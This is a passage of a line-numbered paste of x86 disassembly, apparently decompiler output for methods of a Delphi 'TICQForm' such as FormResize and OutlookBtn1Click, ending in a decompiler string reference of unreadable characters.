  665. 004DB1DA   8D442418               lea     eax, [esp+$18]
  666. 004DB1DE   50                     push    eax
  667. 004DB1DF   8B533C                 mov     edx, [ebx+$3C]
  668. 004DB1E2   83EA04                 sub     edx, +$04
  669. 004DB1E5   8B4338                 mov     eax, [ebx+$38]
  670. 004DB1E8   83E804                 sub     eax, +$04
  671. 004DB1EB   B904000000             mov     ecx, $00000004
  672. 004DB1F0   E84B57F3FF             call    00410940
  673. 004DB1F5   8D442414               lea     eax, [esp+$14]
  674. 004DB1F9   50                     push    eax
  675. 004DB1FA   8B4500                 mov     eax, [ebp+$00]
  676. 004DB1FD   8B80E80A0000           mov     eax, [eax+$0AE8]
  677. 004DB203   E88881F4FF             call    00423390
  678. 004DB208   50                     push    eax
  679. 004DB209   8BC3                   mov     eax, ebx
  680. 004DB20B   E8F022F7FF             call    0044D500
  681. 004DB210   59                     pop     ecx
  682. 004DB211   5A                     pop     edx
  683. 004DB212   E8352EF4FF             call    0041E04C
  684. 004DB217   8BC3                   mov     eax, ebx
  685. 004DB219   E8E222F7FF             call    0044D500
  686. 004DB21E   8B4014                 mov     eax, [eax+$14]
  687. 004DB221   8B5500                 mov     edx, [ebp+$00]
  688. 004DB224   8B92180B0000           mov     edx, [edx+$0B18]
  689. 004DB22A   E8ED28F4FF             call    0041DB1C
  690. 004DB22F   8B433C                 mov     eax, [ebx+$3C]
  691. 004DB232   83E81C                 sub     eax, +$1C
  692. 004DB235   50                     push    eax
  693. 004DB236   8D442404               lea     eax, [esp+$04]
  694. 004DB23A   50                     push    eax
  695. 004DB23B   8B4B38                 mov     ecx, [ebx+$38]
  696. 004DB23E   83E908                 sub     ecx, +$08
  697. 004DB241   BA18000000             mov     edx, $00000018
  698. 004DB246   B804000000             mov     eax, $00000004
  699. 004DB24B   E8F056F3FF             call    00410940
  700. 004DB250   54                     push    esp
  701. 004DB251   8BC3                   mov     eax, ebx
  702. 004DB253   E8A822F7FF             call    0044D500
  703. 004DB258   5A                     pop     edx
  704. 004DB259   E89E2FF4FF             call    0041E1FC
  705. 004DB25E   83C420                 add     esp, +$20
  706. 004DB261   5D                     pop     ebp
  707. 004DB262   5F                     pop     edi
  708. 004DB263   5E                     pop     esi
  709. 004DB264   5B                     pop     ebx
  710. 004DB265   C3                     ret
  713. }
  714.  end ; 
  716. procedure TICQForm.FormResize(Sender: TObject);
  717. begin
  718. {
  719. 004DB268   8B10                   mov     edx, [eax]
  720. 004DB26A   FF5278                 call    dword ptr [edx+$78]
  721. 004DB26D   C3                     ret
  724. }
  725.  end ; 
  727. procedure TICQForm.OutlookBtn1Click(Sender: TObject);
  728. begin
  729. {
  730. 004DA9F0   55                     push    ebp
  731. 004DA9F1   8BEC                   mov     ebp, esp
  732. 004DA9F3   81C4C4FCFFFF           add     esp, $FFFFFCC4
  733. 004DA9F9   53                     push    ebx
  734. 004DA9FA   56                     push    esi
  735. 004DA9FB   57                     push    edi
  736. 004DA9FC   33C9                   xor     ecx, ecx
  737. 004DA9FE   898D28FEFFFF           mov     [ebp+$FFFFFE28], ecx
  738. 004DAA04   898D2CFEFFFF           mov     [ebp+$FFFFFE2C], ecx
  739. 004DAA0A   8945FC                 mov     [ebp-$04], eax
  740. 004DAA0D   33C0                   xor     eax, eax
  741. 004DAA0F   55                     push    ebp
  743. * Possible String Reference to: "閮堯